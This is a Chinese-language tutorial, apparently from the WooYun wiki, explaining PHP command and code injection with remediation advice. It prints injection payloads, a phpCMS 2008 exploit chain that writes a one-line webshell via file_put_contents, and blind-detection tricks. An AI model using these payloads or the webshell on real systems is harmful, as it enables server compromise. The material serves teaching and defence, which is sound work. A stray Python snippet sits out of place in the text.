Skip to content

Latest commit

 

History

History
231 lines (101 loc) · 10.7 KB

命令执行.md

File metadata and controls

231 lines (101 loc) · 10.7 KB
Raw

原文 by wooyun wiki

一、命令注入

1、相关背景介绍

当应用需要调用一些外部程序去处理内容的情况下，就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等，当用户可以控制命令执行函数中的参数时，将可以注入恶意系统命令到正常命令中，造成命令执行攻击。 这里还是主要以PHP为主介绍命令执行漏洞，Java等应用的细节待补充。

2、成因

脚本语言（如PHP）优点是简洁、方便，但也伴随着一些问题，如速度慢、无法接触系统底层，如果我们开发的应用（特别是企业级的一些应用）需要一些除去web的特殊功能时，就需要调用一些外部程序。

在PHP中可以调用外部程序的主要有以下函数：

system

exec

assert

shell_exec

passthru

popen

proc_popen

escapeshellcmd

pcntl_exec

一些偏门函数就不说了，以上函数主要是在webshell里用的多，实际上在正常应用中差别不太大，用得最多的还是前三个。应用在调用这些函数执行系统命令的时候，如果将用户的输入作为系统命令的参数拼接到命令行中，又没有过滤用户的输入的情况下，就会造成命令执行漏洞。

常见的一些成因：

  • 一些商业应用需要执行命令，商业应用的一些核心代码可能封装在二进制文件中，再web应用中通过system函数来调用之：

system("/bin/program --arg $arg");

  • 系统的漏洞造成命令注入：

不知各位看官是否还记得bash破壳漏洞，如果我们能够控制执行的bash的环境变量，就可以通过破壳漏洞来执行任意代码。

  • 调用一些常用组件

很典型的就是Discuz中，可以选择使用ImageMagick这个常用的图片处理组件，对用户上传的图片进行处理（默认是GD库），而Discuz并没有很好控制用户的输入，造成命令执行。

另外JAVA中的命令执行漏洞（struts2/Elasticsearch Groovy等）很常见，亟待补充。

3、利用方法及危害

常见可控位置情况有下面几种：

system("$arg"); //可控点直接是待执行的程序

system("/bin/prog $arg"); //可控点是传入程序的整个参数

system("/bin/prog -p $arg"); //可控点是传入程序的某个参数的值（无引号包裹）

system("/bin/prog --p=\"$arg\"");//可控点是传入程序的某个参数的值（有双引号包裹）

system("/bin/prog --p='$arg'"); //可控点是传入程序的某个参数的值（有单引号包裹）

  
sys=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')   
  
sys.system(cmd)

第一种情况

如果我们能直接控制$arg，那么就能执行执行任意命令了，没太多好说的。

第二种情况

我们能够控制的点是程序的整个参数，我们可以直接用&& || 或 | 等等，利用与、或、管道命令来执行其他命令（可以涉及到很多linux命令行技巧）。

还有一个偏门情况，当$arg被 escapeshellcmd处理之后，我们不能越出这个外部程序的范围，我们可以看看这个程序自身是否有“执行外部命令”的参数或功能，比如linux下的sendmail 命令自带读写文件功能，我们可以用来写webshell。

第三种情况

我们控制的点是一个参数，我们也同样可以利用与、或、管道来执行其他命令，情境与二无异。

第四种情况

这种情况压力大一点，有双引号包裹。如果引号没有被转义，我们可以先闭合引号，成为第三种情况后按照第三种情况来利用，如果引号被转义（addslashes），我们也不必着急。linux shell 环境下双引号中间的变量也是可以被解析的，我们可以在双引号内利用反引号执行任意命令 `id`

第五种情况

这是最难受的一种情况了，因为单引号内只是一个字符串，我们要先闭合单引号才可以执行命令。如：system("/bin/prog –p='aaa' | id")

危害自然不言而喻，执行命令可以读写文件、反弹shell、获得系统权限、内网渗透等。

在漏洞检测中，除了有回显的命令注入（比如执行dir 命令或者cat 读取系统文件）；还可以使用盲打的方式，比如curl远程机器的某个目录（看access.log），或者通过dns解析的方式获取到漏洞机器发出的请求。

4、修复方案

1).能使用脚本解决的工作，不要调用其他程序处理。尽量少用执行命令的函数，并在disable_functions中禁用之。

2).对于可控点是程序参数的情况，使用escapeshellcmd 函数进行过滤。

3).对于可控点是程序参数的值的情况，使用escapeshellarg 函数进行过滤。

4).参数的值尽量使用单引号包裹，并在拼接前调用addslashes 进行转义。

5).对于传入的变量做过滤，对于 \n $ & ; | ' " ( ) `（反单引号） 过滤或转义这些特殊字符

二、代码注入

1、漏洞成因

当应用在调用一些能将字符串转化成代码的函数（如php中的eval）时，没有考虑用户是否能控制这个字符串，将造成代码注入漏洞。

几种常用语言，都有将字符串转化成代码去执行的相关函数，如：

  • PHP：eval、assert

  • Javascript：eval

  • Vbscript: Execute、Eval

  • Python：exec

  • Java：Java中没有类似php中eval 函数这种直接可以将字符串转化为代码执行的函数，但是有反射机制，并且有各种基于反射机制的表达式引擎，如：OGNL、SpEL、MVEL等，这些都能造成代码执行漏洞

应用有时候会考虑灵活性、简洁性，在代码中调用eval之类的函数去处理。如phpcms中很常用的string2array 函数：

function string2array($data) {if($data == '') return array();@eval("\$array = $data;");return $array;}

PHP中能造成代码注入的主要函数： eval 、 preg_replace + /e模式 、assert

用的一般就是前两者，CMS中很少用到assert的，至于一些偏门函数就更少了，用的情况仅限于留后门。 常见用法也有如下一些：

  
eval("\$ret = $data;"); 
  
eval("\$ret = deal('$data');"); 
  
eval("\$ret = deal("$data");"); 
  
preg_replace('/<data>(.*)</data>/e', '$ret = "\\1";'); 

preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>

第一个就是刚才之前说phpcms 的，通常$data不会直接来自POST或GET变量（要不也太水了），但通过一些二次漏洞很可能能够造出代码执行（如SQL注入）。 第二个是将$data使用一个函数（deal）处理后再赋值给$ret。那么，传参的方式就很重要了。第二个用的是单引号传参，那么我们只能先闭合单引号，之后才能注入代码。如果应用全局做了addslashes或GPC=on的话，就不能够注入代码了。 第三个与第二个类似，但使用的是双引号传参。双引号在代码中有个很重要的特性，它能解析其中的函数，如我们传入${phpinfo()}，phpinfo将会被执行，而得到的返回值作为参数传入deal 函数。这个时候，我们就不用考虑闭合引号的事了。 第四个是preg_replace函数的误用，这种用法出现的情况是最多的，也是因为preg_replace第二个参数中，包裹正则结果\\1的是双引号，通过第三个中的方式，也能执行任意代码。
注意，第五个示例中包裹\\1 的可以是双引号或者单引号，都可以造成命令执行，提交 h=[php]phpinfo()[/php] 。

php curly syntax： ${`ls`} 它将执行花括号内的代码，并将结果替换回去。

2、phpCMS 2008 命令执行漏洞

index.php?userid=abc&menu=xxx

我们访问时填的 userid 在数据库是查找不到的，这样无法从数据库返回结果中 extract 出 $menu 变量的定义，在但最开始 程序会把 $_GET 获取到的参数都 extract 出来，这样的话 menu 变量的值可以由我们控制，

由于 $menu 不为空，如果 menu=phpinfo(); exit(); 内部执行 string2array 函数，

eval("\$arr=$data"); 时会 执行命令，即 eval("\$arr=phpinfo();exit();");

进一步地，我们可以将一句话木马写成 webshell 文件放到网站服务器目录下

一句话木马 <?php eval($_GET['func']($_GET['cmd'])); ?>

menu=file_put_contents('shell.php', ' <?php eval($_GET['func']($_GET['cmd'])); ?> ')

为了防止转义等导致命令执行不成功，可以用 ascii 码形式，即

index.php?userid=abc&menu=file_put_contents(CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(42).CHR(112).CHR(104).CHR(112), ...);exit()

下次我们可以直接访问 shell.php?func=system&cmd=dir，执行php 代码 system(dir)。

类似会造成变量覆盖的函数还有：import_request_variables(), parse_str() 等

3、修复方案：

  • 能使用json 保存数组、对象就使用json，不要将php对象保存成字符串，否则读取的时候需要使用eval。将字符串转化为对象的过程其实是将数据转化为代码的过程，这个过程很容易出现漏洞，像php的unserialize 导致代码执行、struts2的ognl 命令执行等漏洞都是这个过程导致的。

  • 对于必须使用eval 的情况，一定要保证用户不能轻易接触eval 的参数（或用正则严格判断输入的数据格式）。对于字符串，一定要使用单引号包裹可控代码，并再插入前进行addslashes，这样就无法闭合单引号，又因为不是双引号包裹，故不能执行 ${} 。
    evil('${phpinfo()}')、evil("phpinfo()") 等都不会执行， evil("${phpinfo()}")、evil(phpinfo())、evil(${@phpinfo()}) 都可以执行，因为双引号里面内容会被当作变量解析一次，函数前加 @ 表示执行函数时不报错。
    $data = addslashes($data);eval("\$data = deal('$data');");

  • 放弃使用preg_replace 的e修饰符，而换用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的话，请保证第二个参数中，对于正则匹配出的对象，用单引号包裹（第4个示例）。

  • 确保register_globals = off, 若不能自定义php.ini，则应该在代码中控制；其次，熟悉可能造成变量覆盖的函数和方法，检查用户是否能控制变量的来源；最后，养成初始化变量的好习惯。

  • 能够往本地写入的函数都需要重点关注，如 file_put_contents(), fwrite(), fputs() 等。

  • 在自动化漏洞检测中可以 直接带入类似 ";print(md5(test));$a=" ，匹配返回页面是否有 md5 字符串。